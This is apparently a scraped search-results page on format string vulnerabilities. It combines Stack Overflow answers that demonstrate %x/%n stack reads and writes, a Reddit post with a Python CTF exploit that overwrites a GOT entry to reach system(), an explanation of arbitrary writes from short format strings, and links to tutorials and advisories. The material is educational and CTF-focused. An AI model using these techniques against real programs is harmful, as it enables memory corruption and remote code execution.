You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
YouTube
youtube.com › liveoverflow
Format String to dump binary and gain RCE - 33c3ctf ESPR (pwn 150) - YouTube
Solving Eat Sleep Pwn Repeat (ESPR - 150 pwn) challenge from the 33c3ctf. Dumping the binary through a format string vulnerability, leaking libc addresses in...
Published   January 13, 2017
Views   37K
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Reddit
reddit.com › r/liveoverflow › format string vulnerability help: following format string to dump binary and gain rce
r/LiveOverflow on Reddit: Format String Vulnerability Help: Following Format String to dump binary and gain RCE
October 8, 2018 -

Hello I am a "newb" currently following "Format String to dump binary and gain RCE - 33c3ctf ESPR (pwn 150)" and trying to apply the techniques in the video to CTF challenge from TJCTF called Secure Secrets. Although there is already a simpler method to solving the challenge and though the binary for Secure Secrets is already provided, I just wanted to learn the technique in the LiveOverflow video by applying to the Secure Secrets challenge since the server for the ESPR challenge is no longer available. The code below is able to overwrite the least significant byte of the printf GOT entry:

#This was modeled after LiveOverflow's solution for the Eat, Pwn, Repeat Challenge

import struct

import socket

import sys

# Bunch of GOT Addresses and other addresses

PRINTF_GOT = 0x0804a014

PRINTF_LIBC = 0x67360

FGETS_GOT = 0x0804a01c

PUTS_GOT = 0x0804a028

EXIT_GOT = 0x0804a02c

SETBUF_GOT = 0x804a00c

STRCMP_GOT = 0x804a010

SYSTEM_LIBC = 0x0003cd10

main = 0x08048929

# Which GOT Entry to overwrite

adr = PRINTF_GOT

# Networking socket stuff

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('problem1.tjctf.org', 8008))

# Construct the exploit

out = "|%49$s|" # Displays old unchanged GOT Entry

out += "%1000x%49$hhn" # Format Specifiers to change the GOT Entry

out += "|%49$s|" # Displays new changed GOT Entry

out += "|END"

out = out.rjust(56, "A")

out += struct.pack("I", adr)

out += struct.pack("I", adr + 2)

# Send the Exploit

s.send("AAAA\n" + out + "\n" + "AAAA\n")

# Debug info

print "exploit: " + out + "\n"

# Read the response

r = ''

while "END" not in r:

r += s.recv(1)

s.close()

returnthing = r.split('|') # Splits the response into manageable chunks

#What is at the printf got entry before the overwrite

old_printf_leak = struct.unpack("I", (bytes(returnthing[1])[:4]).ljust(4, "\x00"))[0]

# What is at the printf got entry after the overwrite

new_printf_leak = struct.unpack("I", (bytes(returnthing[3])[:4]).ljust(4, "\x00"))[0]

print returnthing[4]

libc_base = old_printf_leak - PRINTF_LIBC

system = libc_base + SYSTEM_LIBC

# Debug Info

print "system: 0x{:08x}".format(system)

print "old: 0x{:08x}".format(old_printf_leak)

print "new: 0x{:08x}".format(new_printf_leak)

However when I change out += "%1000x%49$hn" # Format Specifiers to change the GOT Entry to out += "%1000x%49$hhn%1000x%50$hhn" # Format Specifiers to change the GOT Entry the code just freezes and doesn't print out my debug statements. Any help explaining how to overwrite the printf GOT entry would be appreciated.

Top answer
1 of 2
1

Let's say I'm just allowed to enter input with 23 characters... But is it possible to exploit it somehow? (Shell, ...)

Yes (assuming that unsanitized user input is used as the format string)! I'm not going to give you a full exploit (I'd need, at minimum, to know the offsets of various functions on your platform, and probably a lot of tinkering) but I'll explain the basics. Before we get too far, open up the printf(3) manual in another tab.

The core tool for using format string vulns to achieve code execution is the %n conversion specifier. Its theoretical purpose is to take a parameter, which has type int*, write to the pointed-at address the number of bytes of output thus far. However, it it possible to instead use it to write an arbitrary value to an arbitrary address (within the process' address space), even with a relatively short format string.

First problem: how to specify an address of interest?
The C runtime implements "variadic" functions (those which take a variable number of parameters, like printf) by putting the parameters on the stack. At least some C runtimes actually also record the number of parameters passed as another value on the stack, but I've never seen[1] an implementation of C printf which uses this information, so you can reference parameters that don't exist, and the function will simply check controllable offsets from the stack pointer and treat the values at those addresses as parameters of the expected type.

Usually this step is pretty easy, if you control other input into the program. The functions "below" printf on the stack (so, at higher addresses, because the stack grows downward) likely contain stack-allocated with data you supplied, so if you supply the right data, you can reference your own buffer as a "parameter" to any arbitrary address.

But what if no value near the stack pointer is suitable? Especially with a short format string, you can only put so many %p or similar conversions in there (to skip a bunch of stack bytes at a time) before you run out of space, and maybe that isn't enough room to reach the data with the right value. While the C standard doesn't support addressing arbitrary parameters, the UNIX standard does; instead of just the % sign for a conversion, write %m$ to get the mth parameter, indexed from 1 (as in, %17$n to use the 17th parameter as the int*). Note that this is not available on all implementations! Note that the size of nonexistent parameters will be taken as some default value, probably either 1, 4, or 8 bytes; you might need to experiment some to land on the exact "parameter" with the value you want. Negative indices are unlikely to work, but if you really need one, try positive values so large they cause integer overflow when converted to memory offsets, wrapping around to locations behind parameter 1. (You might think this doesn't need to be super large, because the stack is near the top of the process' address space and you're probably only trying to get to the bottom, but don't forget the entire kernel address space above the user-mode address space! On 64-bit processes, this would need to be a very large number and it might not be possible.)

Generally, the value you'll be looking for is the address (on the stack) of the saved instruction pointer (return address) of some function that will return soon. Overwriting a such a return address is often the easiest way to jump to an arbitrary function (such as system or execve). However, addresses pointing to other locations - such as function pointers that will be invoked, or pointers to data structures which contain function pointers, or so on - can also be used.

Note that you can chain these. For example, maybe you can't find a value that is exactly the right address, but you can find a value that is a writable address. Write into that writable address the address you actually want, and then use the "index" of that writable address (where you just wrote) for the actual write that changes program flow. If you can find a location whose value is its address (and it's writable), you can even just use that index twice. This requires additional format string capacity, though, so it might get tight for you.

Second problem: how to specify a value of interest?
%n writes to memory (at the address in the parameter) the number of bytes output so far by printf. 23 characters of format string doesn't sound like enough to overwrite even a single byte with a fully chosen value, much less a complete pointer, especially when part of that format string will be the complicated %n conversion (or possibly two conversions, chaining one address to another). Fortunately, even a pretty short format conversion can output an arbitrary number of bytes.

The trick is to abuse the "field width" specifier, which comes after the positional parameter specifier (the m$ part) and any flags, and before the conversion specifier (and any precision specifier, which you can omit). For example, %1$12345d will always output exactly 12345 bytes (since no matter what value is in parameter 1, it won't be longer than 12345 bytes when represented as a decimal value, and will get left-padded with spaces). The value you want to write into memory (e.g. address of the function system) is probably short enough to fit in a single field length without trouble. Do note that the field length is always given in decimal, not hex. Simply start your format string with a conversion whose field length is the value you want to write into memory, and follow it directly with the actual memory write.


There you go, the tools to write an arbitrary value to an arbitrary address, using a short format string!

Note that actually weaponizing this is hard unless you have the ability to scan memory. If you control other parts of memory outside of the format string, and know either their absolute or relative positions, that will help a lot; you could for example create a fake stack frame with all the parameters, including strings, that you want a function invocation or even chain of invocations to have, and use that for return-oriented programming (with a single format string vuln to redirect the control flow). However, it is almost certainly weaponizable with enough effort (even on a remote server, you can scan memory using enough printf invocations, assuming you see the output string).


[1] Note that my last time messing with format string vulns such that I cared about implementation minutiae was ~15 years ago; some modern implementations may well have implemented protections against many of these techniques although e.g. glibc still allows specifying nonexistent parameters.

2 of 2
0

PRINTF is not vulnerable on its own, so probably need to explain what it does with the output.

looks like you only need 2-3 characters

Read this: https://www.owasp.org/index.php/Format_string_attack

🌐
MCSI Library
library.mosse-institute.com › articles › 2022 › 06 › linux-exploitation-format-string-vulnerabilities-and-exploitation › linux-exploitation-format-string-vulnerabilities-and-exploitation.html
Linux Exploitation: Format String Vulnerabilities and Exploitation — MCSI Library
The format string vulnerability was considered dead / rare until 2019, when several exploits exploiting a format string vulnerability and allowing pre-authentication RCE on popular VPN services were published by security researchers.
🌐
Barrebas
barrebas.github.io › blog › 2015 › 02 › 22 › maximum-overkill-two-from-format-string-vulnerability-to-remote-code-execution
Maximum Overkill Two - From Format String Vulnerability to Remote Code Execution - staring into /dev/null
Finally, I’d like to know where this byte was written, which turned out to be the easiest: we have the address of 636, and we have another address 0x7fff3ca49f00. Subtracting the first from the latter and dividing by 8 gives the format string parameter we need to access the written byte directly!
🌐
Packtpub
subscription.packtpub.com › book › security › 9781784399771 › 14 › ch14lvl1sec84 › format-string-exploitation
Linux Exploit Development | Python Penetration Testing Cookbook
Access over 7,500 Programming & Development eBooks and videos to advance your IT skills. Enjoy unlimited access to over 100 new titles every month on the latest technologies and trends
🌐
GitHub
github.com › balsn › ctf_writeup › tree › master › 20180411-hitbxctfqual
ctf_writeup/20180411-hitbxctfqual at master · balsn/ctf_writeup
April 11, 2018 - The idea is, we can use the attribute of python str and also the format string feature to create the secret code.
Author   balsn
Find elsewhere
🌐
Medium
medium.com › @z.ishan_Ansari › how-one-format-string-bug-turned-me-into-root-73b92dfa23cf
How ONE Format String Bug Turned Into RCE | by ZISHAN ANSARI | Medium
October 25, 2025 - as the program is very simple we send the a number between 1–3 and based on the switch cases its print flour sugar butter but on the line 15 we can see that we have a printf with format strings vuln first i thought what can we do beside leaking libc symbols address like _libc_start_main
🌐
Security Boulevard
securityboulevard.com › home › security bloggers network › how to exploit format string vulnerabilities
How to exploit Format String Vulnerabilities - Security Boulevard
September 30, 2020 - Following is the vulnerable program we will use to understand the approach to exploit a simple format string vulnerability to be able to read data from memory.
🌐
Medium
medium.com › swlh › binary-exploitation-format-string-vulnerabilities-70edd501c5be
Binary Exploitation: Format String Vulnerabilities | by Vickie Li | The Startup | Medium
September 10, 2020 - But since only one of those places on the stack is occupied by an actual function argument (A), the other value would be replaced by whatever value is next on the stack. In this case, printf() will retrieve the next value on the stack and display it in hex format. So an attacker could simply provide the string below to read large amounts of data on the stack:
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
Tenable
tenable.com › plugins › nessus › 10540
Solsoft NSM Format Strings RCE<!-- --> | Tenable®
October 28, 2000 - The Solsoft NSM application running on the remote host is affected by multiple flaws in ulm logging related to format string processing.
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application.
🌐
Infosec Institute
resources.infosecinstitute.com › topic › how-to-exploit-format-string-vulnerabilities
How to exploit format string vulnerabilities - Infosec Resources
September 21, 2020 - The following excerpt shows that accessing the 7th position on the stack to print a string value pointed by the address causes a segmentation fault since the address is invalid. ... The crash occurred because the value at the 7th position may not be a valid address. Rather, it could be an address from kernel space or non-address value such as a simple integer or character. These two examples clearly show how format string vulnerabilities can be used to leak memory and crash the program.
🌐
Viettiep
viettiep.org › format-string-to-dump-binary-and-gain-rce-33c3ctf-espr-pwn-150
Format String to dump binary and gain RCE – 33c3ctf ESPR (pwn 150) – Wiki Dev
Solving Eat Sleep Pwn Repeat (ESPR – 150 pwn) challenge from the 33c3ctf. Dumping the binary through a format string vulnerability, leaking libc addresses in the global offset table, finding the matching libc and overwriting [email protected] with system() to get RCE.
🌐
SentinelOne
sentinelone.com › home › vulnerability database › cve-2020-13160
CVE-2020-13160: AnyDesk Format String RCE Vulnerability
March 4, 2026 - CVE-2020-13160 is a format string vulnerability in AnyDesk remote desktop software versions prior to 5.5.3 running on Linux and FreeBSD systems. This vulnerability allows remote attackers to achieve code execution by exploiting improper handling ...
🌐
Invicti
invicti.com › blog › web-security › format-string-vulnerabilities
What Are Format String Vulnerabilities?
Format strings are used in many programming languages to insert values into a text string. In some cases, this mechanism can be abused to perform buffer overflow attacks, extract information or execute arbitrary code. This article takes a closer look at format string vulnerabilities.
🌐
Podalirius
podalirius.net › en › articles › python-format-string-vulnerabilities
Python format string vulnerabilities · Podalirius
March 24, 2021 - The .format() string method was introduced in Python 3 was later also added to Python 2.7.
🌐
Reddit
reddit.com › r/netsec › chaining dll hijacking and format string to gain rce on windows rdp client cve-2023-24905
r/netsec on Reddit: Chaining DLL Hijacking and Format String to gain RCE on windows RDP Client CVE-2023-24905
May 19, 2023 - 534K subscribers in the netsec community. /r/netsec is a community-curated aggregator of technical information security content. Our mission is to extract signal from the noise — to provide value to security practitioners, students, researchers, and hackers everywhere. ‎